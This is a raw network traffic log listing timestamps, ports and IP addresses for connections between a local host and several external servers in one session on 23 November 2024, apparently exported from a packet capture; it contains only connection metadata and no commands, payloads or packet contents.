Nov 23, 2024 01:14:09.957660913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:09.957732916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:09.987044096 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.987256050 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.987277031 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.988356113 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.988413095 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.988764048 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.988801956 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.988863945 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.989001036 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.989023924 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.989088058 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.989095926 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.990451097 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.990505934 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.990901947 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.990983009 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.991055965 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.991071939 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.029627085 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.045214891 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.248716116 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.248806953 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.248862982 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.697890043 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.698334932 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.698529959 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.699770927 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.699803114 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.792151928 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:10.792166948 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:10.792252064 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:10.794049025 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:10.794063091 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:10.832896948 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.833251953 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.833317995 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.834172010 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.834182978 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881108046 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881169081 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881211042 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881258965 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881264925 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.881283045 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.881305933 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.900350094 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.900396109 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.900445938 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.900455952 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.900511980 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.933588028 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.943977118 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.944047928 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.944056988 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:10.998095036 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:10.998101950 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.044981003 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.044995070 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.082060099 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.084392071 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.084408998 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.086867094 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.088382006 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.088393927 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.103280067 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.104387045 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.104398966 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.114370108 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.115734100 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.115744114 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.125475883 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.125540972 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.125547886 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.136554956 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.136625051 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.136632919 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.147924900 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.148008108 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.148015022 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.161442041 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.161494017 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.161500931 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.175041914 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.176387072 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.176394939 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.184345961 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.184410095 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.184418917 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.197875023 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.197927952 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.197935104 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.247250080 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.255475998 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.283065081 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.283165932 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.283174038 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.283189058 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.283235073 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.286007881 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.293956041 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.294024944 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.294092894 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.294104099 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.294154882 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.302079916 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.314762115 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.314811945 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.314882994 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.314893961 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.314941883 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.326463938 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.337861061 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.338089943 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.338165045 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.338176012 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.338221073 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.348697901 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.358692884 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.358787060 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.358844995 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.358853102 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.358895063 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.368139982 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.376713037 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.376828909 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.376900911 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.376909971 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.376955986 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.385143042 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.393691063 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.393842936 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.393910885 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.393919945 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.393963099 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.402286053 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.410707951 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.410832882 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.410902977 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.410912991 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.410974979 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.419080973 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.427516937 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.427680969 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.427750111 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.427762985 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.427800894 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.435959101 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.446157932 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.447007895 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.447068930 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.447084904 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.447128057 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.447134018 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.454081059 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.456381083 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.456393957 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.460346937 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.464381933 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.464396000 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.466576099 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.468379974 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.468390942 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.472538948 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.476387024 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.476397991 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.485774040 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.485892057 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.485961914 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.485975981 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.486020088 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.488676071 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.492506981 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.496381044 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.496390104 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.504477978 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.508380890 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.508388042 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.517915964 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.518048048 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.518106937 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.518117905 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.518160105 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.520423889 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.527637959 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.527688980 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.527697086 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.528872013 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.528956890 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.528963089 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.529525042 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.529568911 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.529783010 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:11.529848099 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:11.529861927 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:12.046297073 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:12.046331882 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:12.046392918 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:12.046662092 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:12.046674967 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:12.566546917 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:12.566642046 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:12.594786882 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:12.594798088 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:12.595851898 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:12.630589962 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:12.630626917 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:12.630707979 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:12.632519960 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:12.632534027 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:12.636459112 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:13.526428938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:13.526721001 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:13.646038055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:13.646188021 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:13.646414042 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:13.647639990 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:13.767103910 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:13.785994053 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:13.786395073 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:13.786410093 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:13.787857056 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:13.787938118 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:13.788325071 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:13.788403034 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:13.841573954 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:13.841581106 CET	443	49721	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:13.888092041 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:13.980518103 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.023339987 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.058779001 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.058841944 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.062361956 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.062371016 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.062606096 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.101679087 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.143381119 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.564073086 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564152002 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564172029 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564210892 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564218044 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.564239979 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564250946 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.564258099 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.564271927 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.564286947 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.564304113 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.583471060 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.583534956 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.583646059 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.583671093 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.583671093 CET	49722	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.583684921 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.583693981 CET	443	49722	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.584146976 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.584206104 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.584214926 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.584351063 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:14.584403038 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:14.614653111 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.614698887 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.614767075 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.615097046 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:14.615114927 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:14.912333012 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:14.912431002 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:14.912523985 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:14.912893057 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:14.912929058 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:15.096648932 CET	49733	443	192.168.2.5	172.217.17.78
Nov 23, 2024 01:14:15.096715927 CET	443	49733	172.217.17.78	192.168.2.5
Nov 23, 2024 01:14:15.096807957 CET	49733	443	192.168.2.5	172.217.17.78
Nov 23, 2024 01:14:15.097021103 CET	49733	443	192.168.2.5	172.217.17.78
Nov 23, 2024 01:14:15.097060919 CET	443	49733	172.217.17.78	192.168.2.5
Nov 23, 2024 01:14:15.552541971 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:15.552963018 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:15.686424971 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:15.719971895 CET	49733	443	192.168.2.5	172.217.17.78
Nov 23, 2024 01:14:15.720098019 CET	49721	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:15.805906057 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:15.895929098 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:15.895929098 CET	49715	443	192.168.2.5	52.149.20.212
Nov 23, 2024 01:14:15.895937920 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:15.895946026 CET	443	49715	52.149.20.212	192.168.2.5
Nov 23, 2024 01:14:16.042610884 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.042717934 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.044061899 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.044075966 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.044401884 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.048194885 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.091372013 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.567665100 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.567853928 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.567917109 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.568481922 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.568500042 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.568515062 CET	49731	443	192.168.2.5	23.218.208.109
Nov 23, 2024 01:14:16.568521976 CET	443	49731	23.218.208.109	192.168.2.5
Nov 23, 2024 01:14:16.643754005 CET	80	49728	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:16.643829107 CET	49728	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:16.723377943 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:16.723468065 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:16.726840973 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:16.726872921 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:16.727468967 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:16.738522053 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:16.779366970 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.221925020 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.221956015 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.222029924 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.222050905 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.222107887 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.222145081 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.222170115 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.403029919 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.403060913 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.403126955 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.403188944 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.403225899 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.403253078 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.484428883 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.484455109 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.484523058 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.484558105 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.484688997 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.589360952 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.589397907 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.589442015 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.589466095 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.589497089 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.589539051 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.619872093 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.619895935 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.619985104 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.620003939 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.620050907 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:17.641208887 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:17.641232967 CET	443	49732	13.107.246.63	192.168.2.5
